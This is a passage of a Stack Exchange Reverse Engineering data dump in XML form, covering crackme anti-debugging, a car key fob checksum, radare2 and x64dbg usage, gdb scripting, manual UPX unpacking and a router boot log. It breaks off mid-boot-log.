  <row Id="19806" PostTypeId="2" ParentId="19803" CreationDate="2018-11-03T02:35:06.760" Score="1" Body="&lt;p&gt;This is impossible to do as long as I don't have the corresponding private key of &lt;code&gt;pk_enc&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Decrypting with a public key means verifying: I didn't know that, saw a public key used for decryption and jumped to the wrong conclusion that it was sufficient to encrypt back the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not.&lt;/p&gt;&#xA;" OwnerUserId="26190" LastActivityDate="2018-11-03T02:35:06.760" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19807" PostTypeId="1" AcceptedAnswerId="19813" CreationDate="2018-11-03T09:40:31.393" Score="0" ViewCount="955" Body="&lt;p&gt;Using an hardware breakpoint, I found with Ollydbg that a crackme was checking for the isDebuggerPresent flag. I'd like to find this part of the code using IDA now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I first looked in the import table, but couldn't find the function in the list and came to the conclusion that the crackme was doing it directly instead of using kernel32.dll. Then I tried to use the &quot;sequence of bytes&quot; search in IDA, using the bytes in OllyDbg's hex dump view corresponding to &lt;code&gt;MOV EAX,DWORD PTR FS:[30]&lt;/code&gt; (64 A1 30 00 00 00), no chance here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I must be missing something very obvious here, this is the most basic anti-debugging technique so there must be a simple way to locate it using IDA, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Screenshot in Ollydbg&#xA;&lt;a href=&quot;https://i.stack.imgur.com/6Z32t.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Z32t.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Where the check actually happens&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ynlzA.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ynlzA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19817" LastEditorUserId="19817" LastEditDate="2018-11-03T10:06:43.320" LastActivityDate="2018-11-04T13:57:26.447" Title="Searching for a sequence of bytes in IDA" Tags="|ida|anti-debugging|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="19808" PostTypeId="1" CreationDate="2018-11-03T15:56:48.493" Score="1" ViewCount="475" Body="&lt;p&gt;I am trying to reverse engineer the key fob of my Ford Fiesta 2014 but I am stuck at finding the used checksum algorithm. I've successfully demodulates the key fob signal (using on-off keying + manchester encoding) and identified different type of bytes (see below).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|---b1---|---b2---|---b3---|---b4---|---b5---|---b6---|---b7---|---b8---|---b9---|---b10--|&#xA;|preamble|-------------------------rolling code-------------------------|counter*|checksum|&#xA;|01010101|10110100|01010110|11101111|00011011|11011001|10100011|11111001|01100111|01111000|&#xA;&#xA;*counter: this byte is also used for the commando, the last 4 bits are different for OPEN,&#xA;CLOSE, TRUNK while the first 4 bits is a counter.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As the preamble is the same for all packets I assume it is not used in calculating the checksum. I am pretty sure it is &lt;strong&gt;not a CRC&lt;/strong&gt; as I tried finding the CRC polynomial by bruteforcing (+bruteforcing the final XOR) but found no matching model (using &lt;a href=&quot;https://github.com/nitram2342/bruteforce-crc&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/nitram2342/bruteforce-crc&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried some other standard checksum methods (XOR, 2s complement, modulo 256, ...) but without success. I have read other stackexchange posts about finding the checksum algorithm but couldn't apply them to my packets. I am stuck with this problem for a few days now and it seems that I am not making any progress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These 3 packets might be helpful as they only differ in the first 3 bits of the 7th byte (b7) and the first 4 bits of the counter (b9).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|---b1---|---b2---|---b3---|---b4---|---b5---|---b6---|---b7---|---b8---|---b9---|---b10--|&#xA;|preamble|-------------------------rolling code-------------------------|counter-|checksum|&#xA;|01010101|10110100|01010110|11101111|00011011|11011001|10100011|11111001|01100111|01111000|&#xA;|01010101|10110100|01010110|11101111|00011011|11011001|10100010|11111001|01101000|01001110|&#xA;|01010101|10110100|01010110|11101111|00011011|11011001|10100111|11111001|01101011|01001101|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here are some more packets:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|preamble|-------------------------rolling code-------------------------|counter-|checksum|&#xA;|01010101|10110100|01010110|11101111|00011011|11011001|10100011|11111001|01100111|01111000|&#xA;|01010101|10110100|01010110|11101111|00011011|11011001|10100010|11111001|01101000|01001110|&#xA;|01010101|00010111|11110101|01001100|10111000|01111010|01011010|10100001|01101001|10100000|&#xA;|01010101|00010110|11110100|01001101|10111001|01111011|01011011|10100000|01101010|10100101|&#xA;|01010101|10110100|01010110|11101111|00011011|11011001|10100111|11111001|01101011|01001101|&#xA;|01010101|00010001|11110011|01001010|10111110|01001100|01011100|00001000|10110100|01010011|&#xA;|01010101|00011001|11111011|01000010|10110110|01000100|00001001|01010100|10110101|00011000|&#xA;|01010101|10011001|01111011|11000010|00110110|11000100|11011100|11010100|11100000|00100001|&#xA;|01010101|01000100|10100110|00011111|11101011|00011001|00001001|11010101|11100001|01001110|&#xA;|01010101|01000101|10100111|00011110|11101010|00011000|00001000|11011110|11100010|11110110|&#xA;|01010101|01010100|10110110|00001111|11111011|01011001|00011001|11001101|00100001|10111101|&#xA;|01010101|01010101|10110111|00001110|11111010|01011000|00011000|11001110|00100010|00000101|&#xA;|01010101|10011011|01111001|11000000|00110100|10010110|11001111|11010110|00100011|11011011|&#xA;|01010101|01010001|10110011|00001010|11111110|01011100|00011100|11001000|00100100|00111001|&#xA;|01010101|10011001|01111011|11000010|00110110|10010100|11001001|11010100|00100101|01101111|&#xA;*these packets were not all recorded sequentially as you may notice some gaps in the counter.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am new to the reverse engineering and signal processing scene so excuse me if I am not using the right terminology or if I am overlooking some simple things. &#xA;p.s. please don't steal my car :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found these packets where the checksum is the same that might help:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|preamble|-------------------------rolling code-------------------------|counter-|checksum|&#xA;|01010101|10110100|01010110|11101111|00011011|11011001|10100010|11111001|01101000|01001110|&#xA;|01010101|01000100|10100110|00011111|11101011|00011001|00001001|11010101|11100001|01001110|&#xA;&#xA;|01010101|01010001|10110011|00001010|11111110|01011100|00011100|11000010|00101110|10111101|&#xA;|01010101|01010000|10110010|00001011|11111111|00111101|00011101|11000011|00001111|10111101|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26236" LastEditorUserId="26236" LastEditDate="2018-11-03T16:44:58.263" LastActivityDate="2018-11-03T16:44:58.263" Title="Reverse engineering key fob checksum" Tags="|decryption|crc|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19809" PostTypeId="1" CreationDate="2018-11-03T19:47:46.643" Score="1" ViewCount="425" Body="&lt;p&gt;I am currently using &lt;code&gt;radare2&lt;/code&gt; to disassemble a raw ARM binary (bootloader) in little endian format. I used the command &lt;code&gt;e cfg.bigendian = false&lt;/code&gt; to set the endianness, but the &lt;code&gt;pd&lt;/code&gt; command seems to ignore my settings. In particular, I used the following chain of commands:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 -a arm  bootloader.img&#xA;[0x00000000]&amp;gt; s 0xa48&#xA;[0x00000a48]&amp;gt; e cfg.bigendian = false&#xA;[0x00000a48]&amp;gt; pxw 4&#xA;0x00000a48  0xe92d41c0  // This is correct&#xA;[0x00000a48]&amp;gt; pd 1&#xA;0x00000a48      c0412de9  invalid // This is the wrong ordering&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I use the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000a48]&amp;gt; e cfg.bigendian = true&#xA;[0x00000a48]&amp;gt; pxw 4&#xA;0x00000a48  0xc0412de9 &#xA;[0x00000a48]&amp;gt; pd 1&#xA;0x00000a48      c0412de9       invalid&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The byte ordering of pxw changes, but the byte ordering of pd does not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I tell &lt;code&gt;pd&lt;/code&gt; (or any other disassembler command) to assume a certain endianness? I am new to using &lt;code&gt;radare2&lt;/code&gt;, so it might be that I am missing something here - feel free to point out any mistakes.&lt;/p&gt;&#xA;" OwnerUserId="26240" LastActivityDate="2018-11-03T19:47:46.643" Title="Radare2: pd command ignores cfg.bigendian setting" Tags="|radare2|disassemblers|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19811" PostTypeId="1" AcceptedAnswerId="19812" CreationDate="2018-11-04T03:27:47.523" Score="0" ViewCount="408" Body="&lt;p&gt;I have an obsolete control system that I am trying to write an interface into our new control system. I have spent weeks capturing data and figuring out the  addressing, polling commands, point addressing and payload. I have everything figured out except on how to calculate the checksum on the packets. Below is a small sample of the data - I believe the first 2 bytes are the checksum, bytes 3/4 - address, bytes 5/6 - command, remaining bytes are the payload:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0e00 0801 1280 //to controller&#xA;&#xA;0e20 //from controller&#xA;&#xA;0e10 0801 1200 8010d00d9b0a19120a27375f01010412071f0e0a0512aa10495349474854000000000000000000000000000000000000000000001400ff0e0e00000000 //from controller&#xA;&#xA;0e40 //to controller&#xA;&#xA;0f00 0801 1285 //to controller&#xA;&#xA;0f20 //from controller&#xA;&#xA;0f10 0801 1200 0000000000000000000000000000000001010a0512aa105f1400ff //from controller&#xA;&#xA;0f40 //to controller&#xA;&#xA;1000 0801 1285 //to controller&#xA;&#xA;1020 //from controller&#xA;&#xA;1010 0801 1200 0000000000000000000000000000000001010a0512aa105f1400ff //from controller&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The checksum appears to be out of order when viewing the data captures, but that is the order that it was captured in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if it matters or not, but I am writing the interface in Java.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appreciate any help that can be provided ... many thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="26246" LastEditorUserId="4731" LastEditDate="2018-11-06T07:19:25.877" LastActivityDate="2018-11-06T07:19:25.877" Title="How to calculate the checksum algorithm with data captures" Tags="|hex|protocol|binary-format|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19812" PostTypeId="2" ParentId="19811" CreationDate="2018-11-04T13:21:55.787" Score="3" Body="&lt;p&gt;The first byte starts as &lt;code&gt;0E&lt;/code&gt; is then &lt;code&gt;0F&lt;/code&gt; and then &lt;code&gt;10&lt;/code&gt;.&#xA;This looks something like a sequential message id, not part of a checksum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second byte has a pattern to it too and, taking into account the message lengths, I'd interpret it as follows -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00 =&amp;gt; request to controller&#xA;20 =&amp;gt; acknowledgement from controller of the request &#xA;10 =&amp;gt; response from controller&#xA;40 =&amp;gt; acknowledgement to controller of the response&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4731" LastActivityDate="2018-11-04T13:21:55.787" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19813" PostTypeId="2" ParentId="19807" CreationDate="2018-11-04T13:57:26.447" Score="3" Body="&lt;p&gt;Of course you can't find it in the crackme, because the code isn't there. It's easy to determine which file the code belongs to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OdilY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OdilY.png&quot; alt=&quot;Title bar with module name&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's &lt;code&gt;KERNELBA&lt;/code&gt;, so it probably comes from a system dll (&lt;code&gt;KERNELBASE.dll&lt;/code&gt;?). We expect to find code in module named &lt;code&gt;crackme4&lt;/code&gt; or similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the stack, it's easy to find the address:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/u20XV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/u20XV.png&quot; alt=&quot;Image of stack&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That one is not prefixed with &lt;code&gt;&amp;lt;system_module_name&amp;gt;.&lt;/code&gt;, so I guess it's code from the crackme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case the stack is corrupted, it's possible to use &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;F9&lt;/kbd&gt; (execute until user code).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;About finding the corresponding address in IDA, it's described at &lt;a href=&quot;https://reverseengineering.stackexchange.com/q/1833/25171&quot;&gt;this question&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If only the base is changed, but offsets are constant &lt;em&gt;[...]&lt;/em&gt;, you can just rebase the program in IDA. You can do so by edit-&gt;segments-&gt;Rebase program ... menu. Specifying the same starting base in IDA as is in Olly should help.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;Base_Address_in_OllyDbg&lt;/code&gt;: The base address of the target module in OllyDbg. You can find this value by pressing &lt;em&gt;Alt-E&lt;/em&gt; in OllyDbg (or by going to &lt;em&gt;View --&gt; Executable modules&lt;/em&gt; in OllyDbg's menu bar). Find your target module in the &lt;em&gt;Executable modules&lt;/em&gt; window; the leftmost field (&lt;em&gt;Base&lt;/em&gt;) is the &lt;code&gt;Base_Address_in_OllyDbg&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="25171" LastActivityDate="2018-11-04T13:57:26.447" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19814" PostTypeId="2" ParentId="19796" CreationDate="2018-11-04T14:09:22.513" Score="0" Body="&lt;p&gt;You can start gdb and initialize it with a python script using &lt;code&gt;-x&lt;/code&gt; command line flag. This can be launched using &lt;code&gt;subprocess&lt;/code&gt; in another python instance. This can give you a way to bruteforce.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some code. The driver file &lt;code&gt;driver.py&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import subprocess&#xA;import sys&#xA;rax = sys.argv[1]&#xA;d = subprocess.Popen(&quot;gdb -q -ex 'py rax = &quot; + str(rax) + &quot;' -x ./gdb_attach.py &quot;, shell=True, stdout=subprocess.PIPE).stdout.read().strip()&#xA;print &quot;Breakpoint hit ::: &quot;, &quot;HIT&quot; in d&#xA;print d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Python script evaluated in gdb &lt;code&gt;gdb_attach.py&lt;/code&gt; with some predefined example offsets. Note that my gdb was built with python3 support.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import gdb&#xA;&#xA;class MyBreakpoint(gdb.Breakpoint):&#xA;    def stop (self):&#xA;        print(&quot;HIT&quot;)&#xA;        return True&#xA;&#xA;gdb.execute('file ./x')&#xA;# gdb.execute(&quot;set environment LD_PRELOAD /home/sudhakar/tools/preeny/x86_64-linux-gnu/desleep.so&quot;)&#xA;MyBreakpoint(&quot;*0x40050b&quot;)&#xA;gdb.execute(&quot;run&quot;)&#xA;gdb.execute('set $rax=0x%x' % rax)&#xA;gdb.execute(&quot;continue&quot;)&#xA;gdb.execute('quit')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The binary is a simple yes/no check.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int dum(){&#xA;    return 0;&#xA;    }&#xA;int main(int argc, char **argv)&#xA;{&#xA;    if(dum()) puts(&quot;Yeaa!&quot;);&#xA;    else puts(&quot;No!&quot;);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The offsets look like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00400400]&amp;gt; pdf @ main&#xA;┌ (fcn) main 58&#xA;│   main (int argc, char **argv, char **envp);&#xA;│           ; var char **local_10h @ rbp-0x10&#xA;│           ; var int local_4h @ rbp-0x4&#xA;│           ; arg int argc @ rdi&#xA;│           ; arg char **argv @ rsi&#xA;│           ; DATA XREF from entry0 (0x40041d)&#xA;│           0x004004f2      55             push rbp&#xA;│           0x004004f3      4889e5         mov rbp, rsp&#xA;│           0x004004f6      4883ec10       sub rsp, 0x10&#xA;│           0x004004fa      897dfc         mov dword [local_4h], edi   ; argc&#xA;│           0x004004fd      488975f0       mov qword [local_10h], rsi  ; argv&#xA;│           0x00400501      b800000000     mov eax, 0&#xA;│           0x00400506      e8dcffffff     call sym.dum&#xA;│           0x0040050b      85c0           test eax, eax&#xA;│       ┌─&amp;lt; 0x0040050d      740c           je 0x40051b&#xA;│       │   0x0040050f      bfb4054000     mov edi, str.Yeaa           ; 0x4005b4 ; &quot;Yeaa!&quot; ; const char *s&#xA;│       │   0x00400514      e8d7feffff     call sym.imp.puts           ; int puts(const char *s)&#xA;│      ┌──&amp;lt; 0x00400519      eb0a           jmp 0x400525&#xA;│      ││   ; CODE XREF from main (0x40050d)&#xA;│      │└─&amp;gt; 0x0040051b      bfba054000     mov edi, 0x4005ba           ; const char *s&#xA;│      │    0x00400520      e8cbfeffff     call sym.imp.puts           ; int puts(const char *s)&#xA;│      │    ; CODE XREF from main (0x400519)&#xA;│      └──&amp;gt; 0x00400525      b800000000     mov eax, 0&#xA;│           0x0040052a      c9             leave&#xA;└           0x0040052b      c3             ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The driver file launches a gdb instance with &lt;code&gt;gdb_attach.py&lt;/code&gt;. Additional python variables can be passed using &lt;code&gt;-ex&lt;/code&gt; flag. &lt;code&gt;gdb_attach.py&lt;/code&gt; sets a breakpoint at an offset and changes some value. You can print values when a bp is hit and parse them in the main driver script. This is quite hackish but it does the job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how it looks&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ python driver.py 0&#xA;Breakpoint hit ::: True&#xA;Breakpoint 1 at 0x40050b&#xA;HIT&#xA;Breakpoint 1, 0x000000000040050b in main ()&#xA;No!&#xA;[Inferior 1 (process 3874) exited normally]&#xA;$ python driver.py 1&#xA;Breakpoint hit ::: True&#xA;Breakpoint 1 at 0x40050b&#xA;HIT&#xA;Breakpoint 1, 0x000000000040050b in main ()&#xA;Yeaa!&#xA;[Inferior 1 (process 3947) exited normally]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See how I was able to print/detect hit breakpoints and change the flow of the binary using another python script. Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="14622" LastEditorUserId="14622" LastEditDate="2018-11-05T05:11:30.050" LastActivityDate="2018-11-05T05:11:30.050" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19816" PostTypeId="1" AcceptedAnswerId="19832" CreationDate="2018-11-04T17:05:11.087" Score="4" ViewCount="3848" Body="&lt;p&gt;As a first unpacking exercise, I decided to try to unpack the famous UPX (without using upx -d of course). I chose an executable I had somewhere, built from C++ code in debug mode. I packed it using the last version of upx &lt;code&gt;upx algorithm.exe&lt;/code&gt; and tested it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set a hardware breakpoint after PUSHAD and after I hit it, I dumped the process with OllydumpEx. Finally I used Scylla to rebuild the IAT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was no error during the whole process but my fixed dump terminate with a Segmentation Fault. What would you do to investigate what went wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This picture shows the disassembly windows where I paused to dump, and the options used during the process.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/uQAQR.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uQAQR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just checked in the process memory and the IAT VA and size found b Scylla seem to be correct.&lt;/p&gt;&#xA;" OwnerUserId="19817" LastEditorUserId="19817" LastEditDate="2018-11-04T17:28:33.957" LastActivityDate="2018-11-06T22:37:36.303" Title="Manually unpacking upx" Tags="|unpacking|dumping|upx|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19819" PostTypeId="1" CreationDate="2018-11-05T02:57:03.503" Score="2" ViewCount="826" Body="&lt;p&gt;I have a 64bit exe I'm debugging with x64dbg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm searching for a specfic string value &lt;code&gt;myvalue&lt;/code&gt; that sits encrypted somewhere in the exe (so, searching for &lt;code&gt;myvalue&lt;/code&gt; at the beginning returns nothing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the value gets decrypted, I can search for it and get current memory address. I could place a breakpoint when that specific address gets written/read but that would serve no purpose as it gets decrypted and loaded only once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to ASLR policy, this memory address is different every time I close and open the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My objective is to produce a patch for the exe so that &lt;code&gt;myvalue&lt;/code&gt; become &lt;code&gt;anothervalue&lt;/code&gt;, either right after &lt;code&gt;myvalue&lt;/code&gt; gets written or by identifying the piece of code that writes that value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disabling ASLR with &lt;code&gt;link /edit /dynamicbase:NO filename.exe&lt;/code&gt; did nothing: memory address is different everytime anyway. Disabling ASLR os-wide seems a bit overkill and dangerous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't put breakpoints before it gets written because I don't know the address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, there should be a menu on the &quot;memory&quot; page that says &quot;who wrote here&quot; and point me to the diassembler line that did so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="26190" LastActivityDate="2018-11-06T20:32:15.270" Title="What's the fastest way to set a breakpoint when a value I know gets written in memory, if the memory address is different each time due to ASLR?" Tags="|memory|x64dbg|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19822" PostTypeId="1" CreationDate="2018-11-05T08:05:19.580" Score="3" ViewCount="318" Body="&lt;p&gt;I am trying to understand the difference between a function's &lt;code&gt;offset&lt;/code&gt; and its &lt;code&gt;minbound&lt;/code&gt; in radare2. Consider this function in radare2 (output of &lt;code&gt;aflj&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;    {&#xA;        &quot;offset&quot;: 4549740,&#xA;        &quot;name&quot;: &quot;sym.tightdb::TableViewBase::sync_distinct_view_unsignedlong&quot;,&#xA;        &quot;size&quot;: 2394,&#xA;        &quot;realsz&quot;: 4598,&#xA;        &quot;stackframe&quot;: 1200,&#xA;        &quot;calltype&quot;: &quot;(null)&quot;,&#xA;        &quot;cost&quot;: 4425,&#xA;        &quot;cc&quot;: 103,&#xA;        &quot;bits&quot;: 16,&#xA;        &quot;type&quot;: &quot;fcn&quot;,&#xA;        &quot;nbbs&quot;: 213,&#xA;        &quot;edges&quot;: 298,&#xA;        &quot;ebbs&quot;: 9,&#xA;        &quot;minbound&quot;: &quot;4267940&quot;,&#xA;        &quot;maxbound&quot;: &quot;4552134&quot;,&#xA;        ...&#xA;    }&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are a few things which are not clear:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I do &lt;code&gt;pdf @4549740&lt;/code&gt; (print function at &lt;code&gt;offset&lt;/code&gt;), radare2 starts to print at &lt;code&gt;0x456644&lt;/code&gt; (=&lt;code&gt;4548164&lt;/code&gt;), which is none of the values above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would expect that &lt;code&gt;offset&lt;/code&gt; always points to the begin of the function's first basic block. Indeed, this seems to be the case here, as &lt;code&gt;offset&lt;/code&gt; + &lt;code&gt;realsize&lt;/code&gt; = &lt;code&gt;maxbound&lt;/code&gt;. But &lt;code&gt;maxbound - minbound = 284194&lt;/code&gt; and this is clearly much longer than the function should be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what does &lt;code&gt;minbound&lt;/code&gt; indicate and how does it differ from &lt;code&gt;offset&lt;/code&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/1SEk4raES0tpMLxrJfhUVmwuTaGJkQskK/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Example binary&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26266" LastEditorUserId="26266" LastEditDate="2018-11-05T18:52:22.223" LastActivityDate="2018-11-05T18:52:22.223" Title="radare2 difference between function offset and minbound" Tags="|radare2|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19823" PostTypeId="2" ParentId="16290" CreationDate="2018-11-05T09:57:32.970" Score="1" Body="&lt;p&gt;I also took a look in this router. The serial port works fine, yet the cfe bootloaded seems locked (while is booting dosen't give you the opportunity to stop the process). After the boot process they did provide a shell but they ask for login credentials. Which still don't know.&#xA;I took a look at the firmware update. Extracting from the jffs2 partition didn't work very well for me. I see the formal linux structure (etc, root, bin ..) yet the only folder having files is the /bin which is not particular useful. Did anyone had any success extracting the /etc folder ?&#xA;My guess at this point is that a nand flash dump is the way to proceed or a exploit in the web ui that can give us root and continue for there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that the boot log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;----&#xA;BTL1&#xA;V1.1&#xA;CPUI&#xA;L1CI&#xA;PMCI&#xA;PMCS&#xA;AFEL&#xA;PWRZ&#xA;MEML&#xA;PMCD&#xA;CPUI&#xA;L1CI&#xA;ZBSS&#xA;CODE&#xA;DATA&#xA;L12F&#xA;MAIN&#xA;OTP?&#xA;MFGZ&#xA;OTPP&#xA;USBT&#xA;SNAN&#xA;PASS&#xA;----&#xA;HELO&#xA;CPUI&#xA;L1CI&#xA;4.1602-1.0.38-116.118&#xA;PMCI&#xA;PMCM&#xA;DRAM&#xA;----&#xA;PHYS&#xA;PHYE&#xA;DDR1&#xA;400H&#xA;SIZ4&#xA;LMBE&#xA;RACE&#xA;PASS&#xA;----&#xA;ZBSS&#xA;CODE&#xA;DATA&#xA;L12F&#xA;MAIN&#xA;MGIC&#xA;RAM1&#xA;&#xA;&#xA;Base: 4.16_02&#xA;CFE version 1.0.38-116.118 for BCM963381 (32bit,SP,BE)&#xA;Build Date: Thu Nov 16 19:47:34 CST 2017 (xialei@localhost.localdomain)&#xA;Copyright (C) 2000-2013 Broadcom Corporation.&#xA;&#xA;Chip ID: BCM63381B0, MIPS: 600MHz, DDR: 400MHz, Bus: 300MHz&#xA;Main Thread: TP0&#xA;Total Memory: 134217728 bytes (128MB)&#xA;Boot Address: 0xb8000000&#xA;&#xA;SPI NAND flash device: Winbond W25N01GV, id 0xefaa block 128KB size 131072KB&#xA;pmc_init:PMC using DQM mode&#xA;board_device_init, set not used GPIO to 0 OK!&#xA;Info: get a version head, the integrality is OK!&#xA;Info: start_block:[120],kernel_magic_head at :[120], i:[257],ver_blocks:[137]&#xA;Info: get a version head, the integrality is OK!&#xA;Info: start_block:[288],kernel_magic_head at :[288], i:[425],ver_blocks:[137]&#xA;&#xA;Entering norm mode ...&#xA;Info: start_block:120&#xA;Info: bad blocks before fs:0&#xA;Info: pL-&amp;gt;dwFsStartPhyAddr:10a0000&#xA;Info: pL-&amp;gt;fs_len:f80000&#xA;para-&amp;gt;BootParaCksum=0001e693&#xA;Decompression OK!&#xA;Entry at 0x803976c0&#xA;Starting program at 0x803976c0&#xA;Linux version 3.4.11-rt19 (xialei@localhost.localdomain) (gcc version 4.6.2 (Buildroot 2011.11) ) #1 SMP PREEMPT Mon Mar 19 17:38:03 CST 2018&#xA;963381REF2 prom init&#xA;Check boot para cksum...&#xA;boot para cksum OK!&#xA;********************BOOT 